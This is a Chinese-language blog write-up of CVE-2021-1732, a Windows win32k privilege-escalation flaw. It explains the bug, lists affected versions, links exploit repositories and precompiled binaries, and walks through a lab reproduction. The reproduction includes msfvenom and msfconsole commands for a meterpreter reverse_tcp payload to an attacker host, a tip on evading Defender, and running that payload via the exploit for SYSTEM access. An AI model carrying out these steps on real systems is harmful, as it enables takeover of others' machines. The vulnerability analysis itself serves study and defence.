CVE

您所在的位置:网站首页 windows print spooler漏洞 CVE

CVE

#CVE| 来源: 网络整理| 查看: 265

0x00 漏洞前言

CVE-2021-1732 是蔓灵花(BITTER)APT 组织在某次被披露的攻击行动中使用的 0day 漏洞,该高危漏洞可以在本地将普通用户进程的权限提升至最高的 SYSTEM 权限。属于windows系统级别的二进制漏洞。受到该漏洞影响的 Windows 版本众多,原始利用代码经过少量修改后甚至可以在(当时的)最新版 Windows 10 20H2 64 位全补丁环境进行提权。漏洞的利用样本最早在 2020 年 12 月 10 号就被安恒威胁情报中心捕获到,在其与 MSRC 的通力合作下,2021年 2 月初,MSRC 将漏洞修复。

0x01 漏洞描述

这里我就当一回卡卡西,拷贝过来了,原文地址https://bbs.pediy.com/thread-266362.htm

漏洞发生在Windows 图形驱动win32kfull!NtUserCreateWindowEx函数中的一处内核回调用户态分配内存与tagWND->flag属性设置不同步导致的漏洞。使得可以伪造这个tagWND->offset值发生内存越界。 当驱动win32kfull.sys调用NtUserCreateWindowEx创建窗口时会判断tagWND->cbWndExtra(窗口实例额外分配内存数),该值不为空时调用win32kfull!xxxClientAllocWindowClassExtraBytes函数回调用户层user32.dll!__xxxClientAllocWindowClassExtraBytes分配空间,分配后的地址使用NtCallbackReturn函数修正堆栈后重新返回内核层并保存并继续运行,而当tagWND->flag值包含0x800属性后该保存值变成了一个offset。 攻击者可以Hook user32.dll!_xxxClientAllocWindowClassExtraBytes函数调用NtUserConsoleControl修改tagWND->flag包含0x800属性值后使用NtCallbackReturn返回一个自定义的值到内核tagWND->offset。 0x02 漏洞原理 漏洞发生在Windows 图形驱动win32kfull!NtUserCreateWindowEx中。 当驱动win32kfull.sys调用NtUserCreateWindowEx创建窗口时会判断tagWND->cbWndExtra(窗口实例额外分配内存数),该值不为空时调用win32kfull!xxxClientAllocWindowClassExtraBytes函数回调用户层user32.dll!__xxxClientAllocWindowClassExtraBytes创建内存,分配后的地址使用NtCallbackReturn函数修正堆栈后重新返回内核层并保存并继续运行,而当tagWND->flag值包含0x800属性时候对该值采用offset 寻址。 使用NtUserConsoleControl修改flag包含0x800属性。 0x02 漏洞范围 Windows Server, version 20H2 (Server Core Installation) Windows 10 Version 20H2 for ARM64-based Systems Windows 10 Version 20H2 for 32-bit Systems Windows 10 Version 20H2 for x64-based Systems Windows Server, version 2004 (Server Core installation) Windows 10 Version 2004 for x64-based Systems Windows 10 Version 2004 for ARM64-based Systems Windows 10 Version 2004 for 32-bit Systems Windows Server, version 1909 (Server Core installation) Windows 10 Version 1909 for ARM64-based Systems Windows 10 Version 1909 for x64-based Systems Windows 10 Version 1909 for 32-bit Systems Windows Server 2019 (Server Core installation) Windows Server 2019 Windows 10 Version 1809 for ARM64-based Systems Windows 10 Version 1809 for x64-based Systems Windows 10 Version 1809 for 32-bit Systems Windows 10 Version 1803 for ARM64-based Systems Windows 10 Version 1803 for x64-based Systems 0x03 漏洞EXP

Github项目地址,大神KaLendsi自己开发的提权exe,很强。https://github.com/KaLendsi/CVE-2021-1732-Exploit

利用的时候需要编译,等以后会了汇编和C语言,自己一定要尝试分析一波作者的操作。这里附上大神KaLendsi在看雪论坛的笔记!

https://bbs.pediy.com/thread-266362.htm

再附上另一位大神对其的补充和EXE分析等:https://www.anquanke.com/post/id/241804

0x04 漏洞复现

1、下载exe

由于自己不会编译,只能用别人编译好的EXE了。。。

源项目地址:https://github.com/shanfenglan/test/blob/master/cve-2021-1732.exe 备份地址:https://github.com/sukusec301/test/blob/master/cve-2021-1732.exe image-20220113114400829

2、下载一个windows10 2019专业版的镜像,并且安装此虚拟机

image-20220113114519975 image-20220113114630406

3、将CVE复制进虚拟机,然后输入whoami看一下权限,并且也不能创建用户,说明此用户仅仅是加入了管理员组,并无管理员一样的高权限。

image-20220113114824970

4、输入cve-2021-1732.exe whoami,按回车可以看到,已经成为了system权限

image-20220113114919676

5、这时候可能就会有人想了,接下来怎么利用?有人说这也创建不了新的用户呀,比如我输入cve-2021-1732.exe net user test test /add,可以看到如图失败了。

image-20220113115033915

6、那怎么利用?其实正如烂土豆提权一样,用它去执行文件就好。MSF生成一个远控,并且开启监听模式

#msf生成远控 msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=[kali IP] lport=[listen port] -f exe -o love.exe #msf快速监听 msfconsole handler -H 0.0.0.0 -P 4444 -p windows/x64/meterpreter/reverse_tcp

7、将远控文件love.exe放入windows10里面,注意不要被DF杀掉,执行下方命令,就可以看到kali已经获得了windows10 system权限的meterpreter了

cve-2021-1732.exe love.exe image-20220113115535107 image-20220113115557590


【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3